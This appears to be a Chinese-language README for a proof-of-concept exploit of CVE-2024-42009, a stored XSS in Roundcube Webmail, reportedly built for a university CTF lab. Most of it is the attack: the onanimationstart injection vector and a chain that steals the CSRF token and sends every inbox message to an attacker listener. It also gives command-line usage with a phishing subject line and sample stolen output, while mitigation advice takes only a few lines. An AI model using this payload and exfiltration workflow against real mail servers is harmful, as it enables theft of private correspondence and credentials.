仅限授权安全测试、CTF 环境和教育研究使用。
使用本工具针对非您拥有或未经书面许可的系统进行测试,根据英国《1990 年计算机滥用法》、美国《计算机欺诈与滥用法》(CFAA)以及全球同等法律,属于违法行为。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-42009 |
| 受影响软件 | Roundcube Webmail ≤ 1.6.6 |
| 已修补版本 | 1.6.7 / 1.6.8 |
| CVSS v3.1 评分 | 8.8(高危) |
| CVSS 向量 | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — 网页生成过程中对输入的不当中和(XSS) |
| 攻击类型 | 存储型 XSS → 零点击邮件数据外泄 |
| 所需认证 | 无(SMTP 投递);低(受害者必须打开邮件) |
Roundcube 1.6.6 的 HTML 清理器未能剥离畸形 <body> 标签属性中附加到 CSS 动画关键帧上的 JavaScript 事件处理程序。
注入向量:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
当受害者在已认证的 Roundcube 会话中打开邮件时,CSS 动画会立即触发。onanimationstart 处理程序在执行时拥有对 rcmail JavaScript 对象的完全访问权限,包括会话的 request_token。
利用链:
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib、http.server、json、argparse)python3 listener.py --port 8080
输出示例,当数据到达时:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
完整 JSON 转储会自动保存到 exfil_dump.json。
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
一旦邮件在 Roundcube ≤ 1.6.6 中被打开,监听器将打印被窃取的收件箱内容。
Roundcube 的 HTML 净化器负责在渲染传入邮件的 HTML 之前剥离危险属性。在 ≤ 1.6.6 版本中,净化器能正确剥离 onclick、onerror 及类似的事件处理程序——但不会剥离 CSS 动画事件的事件处理程序(onanimationstart、onanimationend、onanimationiteration)。
由于 CSS 动画在渲染过程中触发(而非用户交互),处理程序会在邮件打开的那一刻执行——无需点击链接,除打开邮件外无需任何用户操作。
rcmail JavaScript 对象在每个已认证的 Roundcube 会话中都是全局可访问的。它暴露了 rcmail.env.request_token,即会话的 CSRF 令牌。结合 Roundcube 自身的邮件 API 端点(?_task=mail&_action=list、?_action=show),该有效载荷无需触发额外认证即可读取整个收件箱。
| 版本 | 状态 |
|---|---|
| ≤ 1.6.6 | 易受攻击 |
| 1.6.7 | 已修补 |
| 1.6.8 | 已修补(推荐) |
| 1.5.x LTS | 查看厂商公告 |
| 操作 | 详情 |
|---|---|
| 升级 | Roundcube 1.6.8 或更高版本修补了此类 XSS |
| CSP 头 | 在 webmail 虚拟主机上部署 Content-Security-Policy: default-src 'self'; script-src 'self' 以阻止内联 JS 执行 |
| SMTP 中继 | 禁用 25 端口上的未认证中继——所有内部投递均要求 AUTH |
本 PoC 是在考文垂大学网络安全理学硕士(2025–2026)模块 道德黑客与渗透测试 中,作为 Boot-to-Root CTF 渗透测试评估的一部分开发并测试的。所有测试均在隔离的 VMware 实验室环境中进行,并获得了明确的书面授权。
作者:Segun Akinsoyinu
作品集:segunakinsoyinu.github.io/MyPortfolio
本代码仅用于教育和授权的安全研究目的。作者对滥用行为不承担任何责任。使用本工具前,请确认您已获得测试目标系统的明确书面授权。
| 参数 | 说明 |
|---|
--smtp | 目标 SMTP 服务器的 IP 或主机名 |
--port | SMTP 端口(默认:25) |
--from | 发件人地址(中继接受任意值) |
--to | 受害者的电子邮件地址 |
--attacker | 您的 IP — 作为数据外传收集器嵌入有效载荷中 |
--lport | 您的监听器端口(默认:8080) |
--subject | 邮件主题行 |